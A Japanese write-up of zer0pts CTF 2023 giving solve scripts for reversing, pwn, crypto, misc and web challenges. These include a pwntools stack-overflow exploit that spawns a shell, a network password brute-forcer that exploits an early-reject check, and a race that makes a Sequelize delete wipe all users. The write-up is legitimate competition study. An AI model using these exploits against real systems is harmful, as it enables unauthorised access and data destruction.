zer0pts CTF 2023 writeup

https://2023.ctf.zer0pts.com/

9問解いて50位。

![2023.ctf.zer0pts.com_tasks_(capture (1280)).png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/25276/9292428d-e6c0-cc08-a307-3eec31a1d1ba.png)

## welcome (welcome)

Discord。

`zer0pts{3nj0y_th3_CTF_t0_W1N2023!!!!}`

## survey (survey)

Googleフォーム。

`zer0pts{th4nk5_f0r_g1v1ng_u5_th3_f33db4ck!!}`

## decompile me (reversing, warmup)

> Reverse engineering is getting easier thanks to IDA/Ghidra decompiler!

ありがたいことです。

で、Ghidraで開いてみると、入力したフラグをRC4で暗号化して、暗号化した結果を `memcmp` で比較している。RC4の暗号化と復号は同一の処理なので、比較対象を復号すれば良い……で解けるわけはない。

Ghidraで渡しているように見える引数は使っていなくて、別のレジスタで本当の引数を渡していた。`memcmp` は、libcの `memcmp` ではなく問題バイナリの中にあって、この自前の関数の中で比較対象の値は固定になっている。

```solve.py
#K = bytes.fromhex(
#    "bebafecaefbeadde"
#)
K = bytes.fromhex(
    "3109811919144511"
)
#C = bytes.fromhex(
#    "0809dccf97888cd0a133e591d9cec6bc"+
#    "3bacbd59b7cab02ddf34d63f5b93cddc"+
#    "8deb114555735d0a8a2d608c3ed0511d"+
#    "d774499a459a2a69748c0072ed881aff"+
#    "ffb70def731f907dc5be4fa5b2296a5e"+
#    "0797c1a4fcc0682702eb0b61c0c3bda3"+
#    "b9c0a96cf84bd77f7d637df7e0570081"+
#    "898ba27beeaa53fbd92d2ef16d8c24e0"
#)
C = bytes.fromhex(
    "78cfc485dc33074c9335fb7c108ebe93"+
    "28e62e75da5e85c591157589480e29a4"+
    "f9a63a6e1f84f742b09331f068c04338"+
    "07320957da3244cfcd8fe5bfe3d6bb59"+
    "9a6a8485d322a98eb5eabd57deb16c93"+
    "e47470ac1a03d9169fbc97fb85d9a69e"+
    "d4d60259d528b39316b6c478c4a212d2"+
    "efb15418fd7651a35e57b8584b1ee241"
)

S = [0]*256
for i in range(256):
    S[i] = i
j = 0
for i in range(256):
    j = (j+S[i]+K[i%len(K)])%256
    S[i], S[j] = S[j], S[i]

i = 0
j = 0
X = []
while len(X)<len(C):
    i = (i+1)%256
    j = (j+S[i])%256
    S[i], S[j] = S[j], S[i]
    X += [S[(S[i]+S[j])%256]]

P = bytes(c^x for c, x in zip(C, X))
print(P.decode())
```

```shell-session
$ python3 solve.py
zer0pts{d0n'7_4lw4y5_7ru57_d3c0mp1l3r}
```

`zer0pts{d0n'7_4lw4y5_7ru57_d3c0mp1l3r}`

## aush (warmup, pwn)

```main.c
#include <fcntl.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define LEN_USER 0x10
#define LEN_PASS 0x20

int setup(char *passbuf, size_t passlen, char *userbuf, size_t userlen) {
  int ret, fd;

  // TODO: change it to password/username file
  if ((fd = open("/dev/urandom", O_RDONLY)) == -1)
    return 1;
  ret  = read(fd, passbuf, passlen) != passlen;
  ret |= read(fd, userbuf, userlen) != userlen;
  close(fd);
  return ret;
}

int main(int argc, char **argv, char **envp) {
  char *args[3];
  char inpuser[LEN_USER+1] = { 0 };
  char inppass[LEN_PASS+1] = { 0 };
  char username[LEN_USER] = { 0 };
  char password[LEN_PASS] = { 0 };

  if (system("/usr/games/cowsay Welcome to AUSH: AUthenticated SHell!") != 0) {
    write(STDOUT_FILENO, "cowsay not found\n", 17);
    return 1;
  }

  /* Load password and username file */
  if (setup(password, LEN_PASS, username, LEN_USER))
    return 1;

  /* Check username */
  write(STDOUT_FILENO, "Username: ", 10);
  if (read(STDIN_FILENO, inpuser, 0x200) <= 0)
    return 1;

  if (memcmp(username, inpuser, LEN_USER) != 0) {
    args[0] = "/usr/games/cowsay";
    args[1] = "Invalid username";
    args[2] = NULL;
    execve(args[0], args, envp);
  }

  /* Check password */
  write(STDOUT_FILENO, "Password: ", 10);
  if (read(STDIN_FILENO, inppass, 0x200) <= 0)
    return 1;

  if (memcmp(password, inppass, LEN_PASS) != 0) {
    args[0] = "/usr/games/cowsay";
    args[1] = "Invalid password";
    args[2] = NULL;
    execve(args[0], args, envp);
  }

  /* Grant access */
  args[0] = "/bin/sh";
  args[1] = NULL;
  execve(args[0], args, envp);
  return 0;
}
```

一目で分かるスタックバッファオーバーフローの脆弱性がある。しかし、スタックの配置はこう。

```
rbp-0xa0: args[0]
rbp-0x98: args[1]
rbp-0x90: args[2]
rbp-0x80: username
rbp-0x70: inpuser
rbp-0x50: password
rbp-0x30: inppass
rbp-0x08: canary
```

カナリアをどうするという話の前に、 `memcmp(username, inpuser, LEN_USER)` を通さないといけないが、 `username` が書き換えられない。 `execve` は、 `system` と違って自分自身のプロセスが指定したコマンドになるので、呼び出された時点で終わり。というか、 `execve` が返ってくるのだったら、最後の `execve("/bin/sh", ...)` が実行されるか。

適当に長い文字列を突っ込むと、 `*** stack smashing detected ***` で落ちることに気が付いた。 `execve` が呼び出されていたらこうはならないはずでは……？　スタックの下のほうにある `envp` のポインタを壊すと、 `execve` の呼び出しは失敗するらしい。へー。セグフォで落ちるわけでもない。新しいプログラムに `envp` を引き継ぐために何か頑張っているのだろうか。

ということで、次のようにすれば良い。

1. ユーザー名の入力で `envp` を壊して、 `execve` を失敗させ、処理を継続させる
1. パスワードの入力で `envp` を失敗しないような状態にして、パスワードの比較は通るようにする
    - `envp` を直した状態でパスワードの比較に失敗すると、 `execve` が動いてしまうので
1. 最後の `execve("/bin/sh", ...)` が動く

```attack.py
from pwn import *

s = remote("pwn.2023.zer0pts.com", 9006)
s.sendlineafter(b"Username: ", b"a"*0x198+bytes([0xff, 0xff]))
s.sendlineafter(b"Password: ", b"a"*0x158+bytes([0x00, 0x00]))
s.interactive()
```

`envp[0]` が、下位2バイトが `ff ff` ならアクセス不可で、 `00 00` がアクセス可能な状態なら通る。何度か試せば良い。

```attack.py
$ python3 attack.py
[+] Opening connection to pwn.2023.zer0pts.com on port 9006: Done
[*] Switching to interactive mode
$ cat flag*
zer0pts{p0lLut3_7h3_3nv1r0nnnNNnnnNnnnnNNNnnNnnNn}
$
```

`zer0pts{p0lLut3_7h3_3nv1r0nnnNNnnnNnnnnNNNnnNnnNn}`

## NetFS 1 (warmup, misc)

```server.py
 :
    def authenticate(self):
 :
        with Timeout(30):
            # Receive password
            self.response(b"Password: ")
            i = 0
            while i < len(password):
                c = self._conn.recv(1)
                if c == b'':
                    return
                elif c != password[i:i+1]:
                    self.response(b"Incorrect password.\n")
                    return
                i += 1

            if self._conn.recv(1) != b'\n':
                self.response(b"Incorrect password.\n")
                return
 :
```

パスワードを途中まで入力した時点で、そこまでの入力が間違っていれば `Incorrect password.` が返ってくるし、正しければ次の入力を待つようになっている。1文字ずつ総当たり。

```attack.py
from pwn import *

context.log_level = "error"

password = ""
while True:
    #for c in "abcdefghijklmnopqrstuvwxyz0123456789":
    for c in "0123456789abcdef":
        s = remote("misc.2023.zer0pts.com", 10021)
        s.sendlineafter(b"Username: ", b"admin")
        s.sendafter(b"Password: ", (password+c).encode())
        t = s.recvline(timeout=10)
        s.close()
        if b"Incorrect password." not in t:
            password += c
            print(password)
            break
    else:
        break
```

```shell-session
$ python3 attack.py
d
dd
dd7
dd79
dd79e
dd79ef
dd79efc
dd79efc4
dd79efc40
dd79efc409
dd79efc4093
dd79efc4093c
dd79efc4093c9
dd79efc4093c93
dd79efc4093c932
dd79efc4093c9326

$ nc misc.2023.zer0pts.com 10021
Username: admin
Password: dd79efc4093c9326
Logged in.
File: secret/flag.txt
zer0pts{d0Nt_r3sp0nd_t00_qu1ck}
File: secret/password.txt
dd79efc4093c9326
File:
```

`zer0pts{d0Nt_r3sp0nd_t00_qu1ck}`

## NetFS 2 (misc)

解けなかった。

> `su` command delays for few seconds when I enter an invalid password. I added the feature to NetFS authentication.

```server.py
 :
class Timeout(object):
    def __init__(self, seconds):
        self.seconds = seconds
        self.start = None

    def handle_timeout(self, signum, frame):
        raise TimeoutError('Timeout')

    def wait(self):
        signal.alarm(0)
        while time.time() - self.start < self.seconds:
            time.sleep(0.1)
        time.sleep(random.random())

    def __enter__(self):
        signal.signal(signal.SIGALRM, self.handle_timeout)
        signal.alarm(self.seconds)
        self.start = time.time()
        return self

    def __exit__(self, _type, _value, _traceback):
        signal.alarm(0)
        time.sleep(random.random())
 :
    def authenticate(self):
 :
        with Timeout(5) as timer:
            # Receive password
            self.response(b"Password: ")
            i = 0
            while i < len(password):
                c = self._conn.recv(1)
                if c == b'':
                    timer.wait()
                    self.response(b"Incorrect password.\n")
                    return
                elif c != password[i:i+1]:
                    timer.wait()
                    self.response(b"Incorrect password.\n")
                    return
                i += 1

            if self._conn.recv(1) != b'\n':
                timer.wait()
                self.response(b"Incorrect password.\n")
                return
 :
def pynetfs_main(conn):
    nfs = PyNetworkFS(conn)
    try:
        nfs.authenticate()
    except TimeoutError:
        nfs.response(b'Incorrect password.\n')
 :
```

タイムアウトの時間まで待ってからエラーを返すようになった。

本当のタイムアウトなら5秒後きっかり、パスワードの検証失敗なら、0.1秒ずつ5秒まで待って、その後1秒未満のランダムな時間ウエイト。ここで見分けられるかと思ったが、試行回数を増やしても全然安定しない。

この記事を書いている今気が付いたけど、本当のタイムアウトでも1秒未満のランダムな時間のウエイトが入っている……？　分からん。

## easy_factoring (crypto)

```server.py
import os
import signal
from Crypto.Util.number import *

flag = os.environb.get(b"FLAG", b"dummmmy{test_test_test}")

def main():
    p = getPrime(128)
    q = getPrime(128)
    n = p * q

    N = pow(p, 2) + pow(q, 2)

    print("Let's factoring !")
    print("N:", N)

    p = int(input("p: "))
    q = int(input("q: "))

    if isPrime(p) and isPrime(q) and n == p * q:
        print("yey!")
        print("Here you are")
        print(flag)
    else:
        print("omg")

def timeout(signum, frame):
    print("Timed out...")
    signal.alarm(0)
    exit(0)

if __name__ == "__main__":
    signal.signal(signal.SIGALRM, timeout)
    signal.alarm(30)
    main()
    signal.alarm(0)
```

$N=p^2+q^2$ から素数 $p$ と $q$ を求める。

平方数の和で数を表すとか良くある問題っぽいし、ググれば何とかなるだろと思ったけど、意外と難しい。

https://manabitimes.jp/math/844

- 整数 $n$ を平方数の和で表せるとき、 $n$ を素因数分解すると、$4k+3$ となる素因数の指数は偶数になる
- $p=4k+1$ となる奇素数 $p$ は平方数の和で表せる
- 平方数の和で表せる $n=a^2+b^2$ と $m=c^2+d^2$ があるとき、 $nm$ も $nm = (ac+bd)^2+(ad-bc)^2$ として平方数の和で表せる
    - $a$ と $b$ などが入れ替えられるので、これは一意ではない

https://ja.wikipedia.org/wiki/%E4%BA%8C%E5%80%8B%E3%81%AE%E5%B9%B3%E6%96%B9%E6%95%B0%E3%81%AE%E5%92%8C

- $p=4k+1$ となる奇素数 $p$ は平方数の和で表す方法は一意

$N$ を素因数分解する。指数が2以上の素因数が出てきたら諦める。そうすると、素因数は全て（2か） $p=4k+1$ の奇素数のはずなので、平方数の和で表す。これの組み合わせを試しながら、$N$ を平方数の和で表す方法を求める。素数が2個出てきたらOK。という方法で解けそう。

奇素数を平方数の和で表すのは、次の記事を参照した。

https://tsujimotter.hatenablog.com/entry/fermat-descent

```solve.sage
# returns x, y s.t. x**2+y**2==p
def sqsum(p):
    # https://gist.github.com/junpeitsuji/11accb59325c72a80defb30c64a6a7d6

    # x**2 = -1 mod p
    for b in [3, 5, 7, 11, 13, 17, 19]:
        x = pow(b, (p-1)//4, p)
        if pow(x, 2, p)==p-1:
            break

    y = 1
    k = (x**2+y**2)//p
    while k>1:
        xk = x%k
        if xk>abs(xk-k):
            xk = xk-k
        yk = y%k
        if yk>abs(yk-k):
            yk = yk-k
        k, x, y = (
            (xk**2+yk**2)//k,
            (x*xk+y*yk)//k,
            (x*yk-y*xk)//k,
        )
    return abs(x), abs(y)

N = int(input("N: "))
P = []
for p in factor(N):
    if p[1]!=1:
        print("NG")
        exit(0)
    P += [p[0]]
XY = [sqsum(p) for p in P]
for b in range(2**len(XY)):
    x = 1
    y = 0
    for i in range(len(XY)):
        x2, y2 = XY[i] if b>>i&1 else XY[i][::-1]
        x, y = (abs(x*x2+y*y2), abs(x*y2-y*x2))
    if x in Primes() and y in Primes():
        print(f"p: {x}")
        print(f"q: {y}")
        break
```

```shell-session
$ nc crypto.2023.zer0pts.com 10333
Let's factoring !
N: 178011679983101930410831313632494458984231634942524737949487081021206744691290
```

```shell-session
>docker run --rm -it -v %CD%:/host sagemath/sagemath sage /host/solve.sage
N: 178011679983101930410831313632494458984231634942524737949487081021206744691290
p: 295015923305939223518806046311391467703
q: 301624410449562448043443107328944647491
```

```shell-session
Let's factoring !
N: 178011679983101930410831313632494458984231634942524737949487081021206744691290
p: 295015923305939223518806046311391467703
q: 301624410449562448043443107328944647491
yey!
Here you are
b"zer0pts{piyopiyo_Fermat's_Sum_of_Square_meow!!}"
```

`zer0pts{piyopiyo_Fermat's_Sum_of_Square_meow!!}`

## mimikyu (reversinig)

ELFバイナリなのに `LoadLibraryA` とか出てくる。 `LoadLibraryA` が出てくるが `GetProcAddress` ではなく `ResolveModuleFunction` という（独自の？）関数で関数のアドレスを取得している。何かのハッシュ値で関数を指定していて、どの関数なのかパッと見分からない。

GDBで動かしながら、実際にどの関数が呼び出されているのかを調べると、こういう処理をしている。

```c
cap(x) {
    h = hcraete(x);
    for (i=0; ; i++) {
        s = __gmp_sprintf("%Zd", i);
        if (hsearch({s, NULL}, ENTER)==NULL)
            break;
    }
    i--;
    return i;
}

int main(int argc, char **argv) {
    srand(*main);
    for (int i=0; i<0x28; i++) {
        if (!isprint(argv[1][i]))
            failed;
    }
    for (int i=0; i<0x28; i+=4) {
        mod = 1;
        for (int j=0; j<3; j++) {
            putchar('.');
            mod *= cap(rand()%0x10000);
        }
        base = *(unsigned int *)(argv[1]+i);
        exp = cap(rand()%0x10000);
        if (__gmpz_powm(base, exp, mod)!=enc[i])
            failed;
    }
}
```

一部の変数は、GMPの多倍長整数。`hsearch` とか何かと思ったけど、（Cの標準ライブラリに？）ハッシュテーブルを扱う関数があるらしい。へー。

https://linuxjm.osdn.jp/html/LDP_man-pages/man3/hsearch.3.html

`hcreate` の引数はハッシュテーブルのサイズで、追加できなくなるまでの回数を数えているから、 `cap` は引数をそのまま返す関数かと思ったけど……微妙にずれる。

GDBで動かしながら、`exp` や `mod` の値を1個ずつ調べた。面倒だった。

```solve.py
for exp, mod, enc in [
    (0xf0d3, 0x2350f23a0dff, 0x0fe4c025c5f4),
    (0x085f, 0x32d18e9d4d33, 0x1b792ff17e8a),
    (0x8e63, 0x03866cd71f1b, 0x0183b156ab40),
    (0x8249, 0x10ae9be3fc8f, 0x0beffcf5e5da),
    (0xc6a1, 0x09d942eff67d, 0x0297cf86e251),
    (0x0c6d, 0x1de2e3aa8bb1, 0x0eb3edc1d4b4),
    (0xaef5, 0x103fc65841f3, 0x00fa10ce3a08),
    (0xd5df, 0x011a0970edc9, 0x002bdd418672),
    (0xe68d, 0x5f8d20bddf39, 0x5ebb5050ea46),
    (0xf3fb, 0x45b14e11e0ed, 0x05bf9b73cf86),
]:
    for c0 in range(0x20, 0x7f):
        for c1 in range(0x20, 0x7f):
            for c2 in range(0x20, 0x7f):
                for c3 in range(0x20, 0x7f):
                    c = c3<<24|c2<<16|c1<<8|c0
                    if pow(c, exp, mod)==enc:
                        print(chr(c0)+chr(c1)+chr(c2)+chr(c3))
```

```shell-session
$ python3 solve.py
zer0
pts{
L00k
_th3
_1nt
3rn4
l_0f
_l1b
r4r1
3s!}
```

フラグを見るに、 `hsearch` などの実装を追うのが想定解法だったか……？

`zer0pts{L00k_th3_1nt3rn4l_0f_l1br4r13s!}`

## SquareRNG (crypto, warmup)

```server.py
#!/usr/bin/env python3
import os
from Crypto.Util.number import getPrime, getRandomRange

def isSquare(a, p):
    return pow(a, (p-1)//2, p) != p-1

class SquareRNG(object):
    def __init__(self, p, sa, sb):
        assert sa != 0 and sb != 0
        (self.p, self.sa, self.sb) = (p, sa, sb)
        self.x = 0

    def int(self, nbits):
        v, s = 0, 1
        for _ in range(nbits):
            self.x = (self.x + 1) % p
            s += pow(self.sa, self.x, self.p) * pow(self.sb, self.x, self.p)
            s %= self.p
            v = (v << 1) | int(isSquare(s, self.p))
        return v

    def bool(self):
        self.x = (self.x + 1) % self.p
        t = (pow(self.sa, self.x, self.p) + pow(self.sb, self.x, self.p))
        t %= self.p
        return isSquare(t, self.p)

p = getPrime(256)

sb1 = int(input("Bob's seed 1: ")) % p
sb2 = int(input("Bob's seed 2: ")) % p
for _ in range(77):
    sa = getRandomRange(1, p)
    r1 = SquareRNG(p, sa, sb1)
    print("Random 1:", hex(r1.int(32)))
    r2 = SquareRNG(p, sa, sb2)
    print("Random 2:", hex(r2.int(32)))

    guess = int(input("Guess next bool [0 or 1]: "))
    if guess == int(r1.bool()):
        print("OK!")
    else:
        print("NG...")
        break
else:
    print("Congratz!")
    print(os.getenv("FLAG", "nek0pts{*** REDACTED ***}"))
```

何をしているのかパッと見では分からん。整理すると、

- 向こうが素数 $p$ を決める
- こちらが整数 $s_{b1}$ と $s_{b2}$ を決める
- 以降を77回繰り返して、全て成功すればクリア
    - 向こうが整数 $s_a$ を決める
    - $s_b = s_{b1}, s_{b2}$ と $1\leq x \leq 32$ について、 $1+s_a^1 s_b^1 + s_a^2 s_b^2 + \dots + s_a^x s_b^x$ が法 $p$ について平方剰余かどうかを教えてくれる
    - $s_a^{33} + s_{b1}^{33}$ が法 $p$ で平方剰余かどうかを答える

平方剰余はこれ。要は、法 $p$ で平方根があるかどうかということ。

https://ja.wikipedia.org/wiki/%E5%B9%B3%E6%96%B9%E5%89%B0%E4%BD%99

乗算は分かりやすい。平方剰余か平方非剰余同士の積は、平方剰余になる。平方剰余と平方非剰余の積は平方非剰余。 $x^n$ について、$x$ が平方剰余なら常に平方剰余、 $x$ が平方非剰余なら $n$ が偶数のときだけ平方剰余。

一方、加算はそんな便利な法則は無いはず。$s_{b1}=0$ にすれば加算が消せるかと思ったけど、防がれていた。

$n$ ビットの乱数を作るときは1ビットの乱数を $n$ 個組み合わせるのが自然だが、この問題の実装ではそうなっていない。

$1+x^2+x^3+\dots+x^n$ みたいな式って高校数学あたりで見た気がするんだよなぁ……。これだ。

```math
x^{33}-1 = (x-1)(1+x+x^2+\dots+x^{32})
```

$s_{b1}=-1$, $s_{b2}=1$ とすれば、$s_a^{33}-1$ が平方剰余かどうかを答える問題になる。

```math
s_a^{33}-1 = -1 \cdot (1-s_a)(1+s_a+s_a^2+\dots+s_a^{32})
```

で、$1-s_a$ と $1+s_a+s_a^2+\dots+s_a^{32}$ が平方剰余かどうかは得られる。$-1$ が平方剰余かどうかは $p$ によって決まるので、決め打ちで何回か試せば良い。

```solve.py
from pwn import *

s = remote("crypto.2023.zer0pts.com", 10666)

s.sendlineafter(b"Bob's seed 1: ", b"-1")
s.sendlineafter(b"Bob's seed 2: ", b"1")

for _ in range(77):
    s.recvuntil(b"Random 1: 0x")
    r1 = int(s.recvline()[:-1].decode(), 16)
    s.recvuntil(b"Random 2: 0x")
    r2 = int(s.recvline()[:-1].decode(), 16)
    b = (r1>>31)^(r2&1)
    s.sendlineafter(b"Guess next bool [0 or 1]: ", str(b).encode())
    assert s.recvline()[:-1]==b"OK!"
print(s.recvline()[:-1].decode())
print(s.recvline()[:-1].decode())
```

```shell-session
$ python3 solve.py
[+] Opening connection to crypto.2023.zer0pts.com on port 10666: Done
Traceback (most recent call last):
  File "/mnt/d/documents/ctf/zer0pts2023/SquareRNG/solve.py", line 15, in <module>
    assert s.recvline()[:-1]==b"OK!"
AssertionError
[*] Closed connection to crypto.2023.zer0pts.com port 10666
$ python3 solve.py
[+] Opening connection to crypto.2023.zer0pts.com on port 10666: Done
Congratz!
zer0pts{L(a)L(b)=L(ab)}
[*] Closed connection to crypto.2023.zer0pts.com port 10666
```

`zer0pts{L(a)L(b)=L(ab)}`

## Warmuprofile (web, warmup)

1人ごとにインスタンスを立てるタイプの問題。これは……、prototype pollution → 違いました。

ユーザー登録型ウェブサイト。adminならフラグが読める。adminのパスワードは分からない。重複したユーザー名で登録することができないので、adminという名前で登録するのも不可。


```index.js
 :
app.get('/user/:username/delete', needAuth, async (req, res) => {
    const { username } = req.params;
    const { username: loggedInUsername } = req.session;
    if (loggedInUsername !== 'admin' && loggedInUsername !== username) {
        flash(req, 'general user can only delete itself');
        return res.redirect('/');
    }

    const user = await User.findOne({
        where: { username: loggedInUsername }
    });

    res.render('delete', {
        chall_name: CHALL_NAME, flash: getFlash(req),
        loggedIn: req.session.loggedIn, user, username
    });
});

app.post('/user/:username/delete', needAuth, async (req, res) => {
    const { username } = req.params;
    const { username: loggedInUsername } = req.session;
    if (loggedInUsername !== 'admin' && loggedInUsername !== username) {
        flash(req, 'general user can only delete itself');
        return res.redirect('/');
    }

    // find user to be deleted
    const user = await User.findOne({
        where: { username }
    });

    await User.destroy({
        where: { ...user?.dataValues }
    });

    // user is deleted, so session should be logged out
    req.session.destroy();
    return res.redirect('/');
});
 :
```

ユーザーの削除処理が何か変。[Sequelize](https://sequelize.org/)というライブラリを使っていて、
普通は `user.destroy()` となる。問題のコードの書き方は、 `DELETE` 文の `WHERE` 句を指定する感じらしい。 `User.findOne(...)` でユーザの取得に失敗したときどうなる？

1. ユーザー登録する
1. シークレットウィンドウなどで、2重にログインする
1. どちらも、（GETで） `/user/:username/delete` に行く
1. どちらも、「本当に削除する」ボタンをポチる
1. 後からポチったほうは `User.findOne` が失敗し、条件が空で `User.destroy` が実行されて、全ユーザーが削除される
1. adminという名前で登録してフラグが覗ける

実装ミスで全ユーザーが削除されるの怖すぎﾜﾛﾀ。

こんな話もあったな。

https://scrapbox.io/keroxp/Gorm%E3%81%8C%E6%9C%AC%E7%95%AA%E3%83%86%E3%83%BC%E3%83%96%E3%83%AB%E3%81%AE%E6%95%B0%E5%84%84%E4%BB%B6%E3%81%AE%E3%83%87%E3%83%BC%E3%82%BF%E3%82%92%E6%B6%88%E3%81%9D%E3%81%86%E3%81%A8%E3%81%97%E3%81%9F%E8%A9%B1

`zer0pts{fire_ice_storm_di_acute_brain_damned_jugem_bayoen_bayoen_bayoen_10cefab0}`